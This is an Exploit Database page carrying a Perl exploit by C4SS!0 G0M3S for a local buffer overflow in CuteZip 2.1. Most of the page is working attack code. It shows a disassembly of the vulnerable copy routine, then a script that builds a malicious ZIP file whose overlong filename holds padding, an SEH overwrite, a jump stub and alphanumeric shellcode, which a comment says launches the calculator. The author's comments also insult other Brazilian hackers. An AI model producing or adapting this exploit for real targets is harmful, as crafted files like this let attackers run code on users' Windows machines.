CuteZip 2.1 – Local Buffer Overflow

Exploit Database
113 阅读

作者： C4SS!0 G0M3S

日期： 2011-02-12
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16162/

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#!/usr/bin/perl

#[+]Exploit Title: Exploit Buffer Overflow CuteZip 2.1

#[+]Date: 02\12\2011

#[+]Author: C4SS!0 G0M3S

#[+]Software Link: http://www.globalscape.com/files/cutezip20b.exe

#[+]Version: 2.1 build 9.24.1

#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN

#[+]CVE: N/A

#Comment in Brazilian Portuguese

# ||

# \/

#Comentario para quem é do Brasil:

#Ola Lammers Brasileiros Copiando Receitas de Bolos na internet né,

#Um Bando de Lammers que dizem ser o Metasploit Brazil

#Caras Voces Nao sabem nem Programar em ruby,perl,python,c ou java

#Estude muito,nao suje o no do Metasploit.

#Esse Recado foi para o Metasploit Brasil se tiver Achando Ruim

#Me Contate por E-mail.

#Comment:

# The structure of this exploit has zip Copied exploits of the team Corelan

# Link: http://www.exploit-db.com/exploits/11764/

# Vulnerable function

# ||

# \/

# 0x0047CC0E .^72 CCJB SHORT CuteZip.0047CBDC

# 0x0047CC10 . F3:A5REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

# 0x0047CC12 . FF2495 C8CC470>JMP DWORD PTR DS:[EDX*4+47CCC8]

# 0x0047CC19 8D49 00LEA ECX,DWORD PTR DS:[ECX]

# 0x0047CC1C > 23D1 AND EDX,ECX

# 0x0047CC1E . 8A06 MOV AL,BYTE PTR DS:[ESI]

# 0x0047CC20 . 8807 MOV BYTE PTR DS:[EDI],AL

# 0x0047CC22 . 8A46 01MOV AL,BYTE PTR DS:[ESI+1]

# 0x0047CC25 . C1E9 02SHR ECX,2

# 0x0047CC28 . 8847 01MOV BYTE PTR DS:[EDI+1],AL

# 0x0047CC2B . 83C6 02ADD ESI,2

# 0x0047CC2E . 83C7 02ADD EDI,2

# 0x0047CC31 . 83F9 08CMP ECX,8

# 0x0047CC34 .^72 A6JB SHORT CuteZip.0047CBDC

# 0x0047CC36 . F3:A5REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>===> //Here is the function that occurs Buffer Overflow

# 0x0047CC38 . FF2495 C8CC470>JMP DWORD PTR DS:[EDX*4+47CCC8]

# 0x0047CC3F 90 NOP

# 0x0047CC40 > 23D1 AND EDX,ECX

# 0x0047CC42 . 8A06 MOV AL,BYTE PTR DS:[ESI]

# 0x0047CC44 . 8807 MOV BYTE PTR DS:[EDI],AL

# 0x0047CC46 . 46 INC ESI

# 0x0047CC47 . C1E9 02SHR ECX,2

# 0x0047CC4A . 47 INC EDI

# 0x0047CC4B . 83F9 08CMP ECX,8

# 0x0047CC4E .^72 8CJB SHORT CuteZip.0047CBDC

# 0x0047CC50 . F3:A5REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

# 0x0047CC52 . FF2495 C8CC470>JMP DWORD PTR DS:[EDX*4+47CCC8]

# 0x0047CC59 8D49 00LEA ECX,DWORD PTR DS:[ECX]

use IO::File;

if($^O=="windows")

{

system("cls");

system("color 4f");

}

else

{

system("clear");

}

sub banner

{

print q{

[+]Exploit: Exploit Buffer Overflow CuteZip 2.1

[+]Date: 02\\12\\2011

[+]Author: C4SS!0 G0M3S

[+]Home: www.invasao.com.br

[+]E-mail: Louredo_@hotmail.com

[+]Version: 2.1 build 9.24.1

[+]Thanks: Corelan Team, Skylined

[+]Impact: Hich

};

}

my $file = $ARGV[0];

if($#ARGV!=0)

{

banner;

print "[-]Usage: $0 <File Name>\n";

print "[-]Exemple: $0 Exploit.zip\n";

exit(0);

}

banner;

my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".

"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00" .

"\xe4\x0f" .

"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".

"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\xe4\x0f".

"\x00\x00\x00\x00\x00\x00\x01\x00".

"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".

"\x00\x01\x00\x01\x00".

"\x12\x10\x00\x00".

"\x02\x10\x00\x00".

"\x00\x00";

my $payload = "\x41" x 1148;

my $nseh = "\xeb\x07\x90\x90";

my $seh = pack('V',0x0040112F);

my $egg = "\x41" x 2;

$egg .= "\x61\x61\x61\x51\x58\xFF\xD0";

my $shellcode = "\x41" x 123;

print "[*]Identifying the length Shellcode\n";

sleep(1);

$shellcode = $shellcode.

"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIOJDKJTSICL9MYQ8YRTQ4L".

"41K6IXI81WBLCZKKL6QQC4NUSV8KJMKLIY2JJN5RRQJJKMUKKOO9JZ7Z884POWXJJLXSS8CON5XJW912".

"6WONPTLG14NQQOQPMYLMQOSFQUN9FUSTKXQFKQUPL4OIS4W5U1T3FLHQ2EHPKOYKTDWZSHQMQM7MPBKL".#SHELLCODE WinExec("CALC",0);

"KVW7HKWHCNOP2NOKCHNMGNSO8LYMLS0OJTXRUPYQSFKNYFVBZK47DQVNZFBNGWMNPPQPZQV337XMPXCL".

"VLJ0C3C3CVKMWKRL0GWBLSP1NVKBSOUN4V7L8G8WKYNOJ2NMOOKTYTNLFE1XOFOHXHMNPZ5LRKOOUNLK".

"HLUVXGLMWHP7KWNMXSB644O4CEMVCLPO6QJ9KYJPKXJD4LCTYPOTYVTJTLSQ4OGKMRK8SI7D7BNMO2OB".

"K4BX0S5LKNQX14OM8646B9CZOA";

print "[*]The length is Shellcode:".(length($shellcode)-123)."\n";

sleep(1);

my $junk = "\x42" x (4064-length($payload.$nseh.$seh.$egg.$shellcode));

$payload = $payload.$nseh.$seh.$egg.$shellcode.$junk;

$payload = $payload.".txt";

my $Exploit = $ldf_header.$payload.

$cdf_header.$payload.

$eofcdf_header;

print "[*]Creating the file $file\n";

sleep(1);

open(f,">$file")|| die("Error:\n$!\n");

print f $Exploit;

close(f);

print "[*]The File $file Created Successfully\n";

sleep(1);